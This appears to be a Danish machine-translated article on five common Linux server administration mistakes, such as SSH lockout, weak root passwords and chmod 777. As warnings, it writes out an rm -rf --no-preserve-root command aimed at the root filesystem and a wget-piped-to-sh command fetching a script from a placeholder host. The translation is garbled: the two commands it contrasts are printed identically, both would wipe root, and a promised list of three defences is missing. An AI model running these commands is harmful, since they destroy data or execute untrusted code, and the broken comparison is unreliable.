Linux-kommandoer

Fem Linux-serveradministrationsfejl og hvordan man undgår dem

Fem Linux-serveradministrationsfejl og hvordan man undgår dem
I 2017 blev en medarbejder hos GitLab, versionskontrolhostingsplatformen, bedt om at replikere en database med produktionsdata. På grund af en konfigurationsfejl fungerede replikeringen ikke som forventet, så medarbejderen besluttede at fjerne de data, der var overført, og prøv igen. Han kørte en kommando for at slette de uønskede data for kun med stigende rædsel at indse, at han havde indtastet kommandoen i en SSH-session, der var forbundet med en produktionsserver, ved at slette hundreder af gigabyte brugerdata. Hver erfaren systemadministrator kan fortælle dig en lignende historie.

Linux-kommandolinjen giver serveradministratorer kontrol over deres servere og de data, der er gemt på dem, men det hjælper ikke meget med at stoppe dem med at køre destruktive kommandoer med konsekvenser, der ikke kan fortrydes. Sletning af utilsigtet data er kun en type fejl, som nye serveradministratorer begår.

Låsning af tasterne indeni

Serveradministratorer opretter forbindelse til servere med SSH, en tjeneste, der normalt kører på port 22, der giver en log-in-shell, hvorigennem godkendte brugere kan køre kommandoer på eksterne servere. Et standard sikkerhedshærdningstrin er at konfigurere SSH til at acceptere forbindelser på en anden port. Flytning af SSH til en tilfældig port med høj nummer begrænser virkningen af ​​brutale kraftangreb; hackere kan ikke forsøge ondsindede logins, når de ikke kan finde den port, som SSH lytter til.

En administrator, der konfigurerer SSH til at lytte i en anden port og derefter genstarter SSH-serveren, kan dog finde ud af, at det ikke kun er hackere, der er låst ude. Hvis serverens firewall ikke også er omkonfigureret til at tillade forbindelser på den nye port, når forbindelsesforsøg aldrig til SSH-serveren. Administratoren vil blive låst ude af deres server uden mulighed for at løse problemet undtagen at åbne en supportbillet hos deres hostingudbyder. Hvis du ændrer SSH-porten, skal du sørge for at åbne den nye port i din servers firewallkonfiguration.

Valg af en let gættet adgangskode

Brute-force angreb er et gættespil. Angriberen prøver mange brugernavne og adgangskoder, indtil de rammer en kombination, der lader dem komme ind. Et ordbogsangreb er en mere raffineret tilgang, der bruger lister over adgangskoder, ofte hentet fra lækkede adgangskodedatabaser. Angreb mod rodkontoen er lettere end mod andre konti, fordi angriberen allerede kender brugernavnet. Hvis en rodkonto har en simpel adgangskode, kan den hackes på ingen tid overhovedet.

Der er tre måder at forsvare sig mod både brute-force og ordbogangreb mod rodkontoen.

Kopiering af kommandoer, du ikke forstår

Stack Exchange, Server Fault og lignende sider er en livline for nye Linux-systemadministratorer, men du bør undgå fristelsen til at kopiere og indsætte en shell-kommando, som du ikke forstår. Hvad er forskellen mellem disse to kommandoer?

sudo rm -rf --no-preserve-root / mnt / mydrive /
sudo rm -rf --no-preserve-root / mnt / mydrive /

Det er let at se, hvornår de vises sammen, men ikke så let, når du søger gennem fora på udkig efter en kommando til at slette indholdet af en monteret lydstyrke. Den første kommando sletter alle filer på det monterede drev. Den anden kommando sletter disse filer og alt på serverens rodfilsystem. Den eneste forskel er pladsen inden den sidste skråstreg.

Serveradministratorer kan komme på tværs af lange kommandoer med rørledninger, der siges at gøre en ting, men gøre noget andet helt. Vær særlig forsigtig med kommandoer, der downloader kode fra internettet.

wget http: // eksempel.com / verybadscript -O - | sh -

Denne kommando bruger wget til at downloade et script, der ledes til skallen og udføres. For at køre dette sikkert skal du forstå, hvad kommandoen gør, og også hvad det downloadede script gør, inklusive enhver kode, som det downloadede script muligvis selv downloader.

Log ind som root

Mens almindelige brugere kun kan ændre filer i deres hjemmemappe, er der ikke meget, som rodbrugeren ikke kan gøre på en Linux-server. Det kan køre enhver software, læse alle data og slette enhver fil.

Applikationer, der køres af rodbrugeren, har lignende magt. Det er praktisk at være logget ind som rodbruger, fordi du ikke behøver at “sudo” eller “su” hele tiden, men det er farligt. En skrivefejl kan ødelægge din server på få sekunder. Buggysoftware, der køres af rodbrugeren, kan skabe en katastrofe. Log ind som en almindelig bruger til daglige operationer og kun hæve til root-rettigheder, når det er nødvendigt.

Lærer ikke filsystemtilladelser

Tilladelser til filsystemer kan være forvirrende og frustrerende for nye Linux-brugere. En tilladelsesstreng som "drwxr-xr-x" ser først meningsløs ud, og tilladelser kan forhindre dig i at ændre filer og stoppe software med at gøre, hvad du vil have det.

Systemadministratorer lærer hurtigt, at chmod 777 er en magisk besværgelse, der løser de fleste af disse problemer, men det er en forfærdelig idé. Det lader alle med en konto læse, skrive og udføre filen. Hvis du kører denne kommando på en webserver-mappe, beder du om at blive hacket. Linux-filtilladelser ser komplicerede ud, men hvis du tager et par minutter på at lære, hvordan de fungerer, vil du opdage et logisk og fleksibelt system til styring af filadgang.

I en æra, der værdsætter enkle brugeroplevelser over alle andre faktorer, forbliver Linux-kommandolinjen resolut kompleks og modstandsdygtig over for forenkling. Du kan ikke muddle igennem og håbe, at det hele går fint. Det vil ikke være fint, og du vil ende med en katastrofe i dine hænder.

Men hvis du lærer det grundlæggende - filtilladelser, kommandolinjeværktøjer og deres muligheder, bedste praksis for sikkerhed - kan du blive en mester på en af ​​de mest kraftfulde computerplatforme, der nogensinde er oprettet.

OpenTTD vs Simutrans
Oprettelse af din egen transportsimulering kan være sjovt, afslappende og ekstremt lokkende. Derfor skal du sørge for at prøve så mange spil som mulig...
OpenTTD Tutorial
OpenTTD er et af de mest populære forretningssimuleringsspil derude. I dette spil skal du oprette en vidunderlig transportvirksomhed. Du starter dog i...
SuperTuxKart til Linux
SuperTuxKart er en fantastisk titel designet til at give dig Mario Kart-oplevelsen gratis på dit Linux-system. Det er ret udfordrende og sjovt at spil...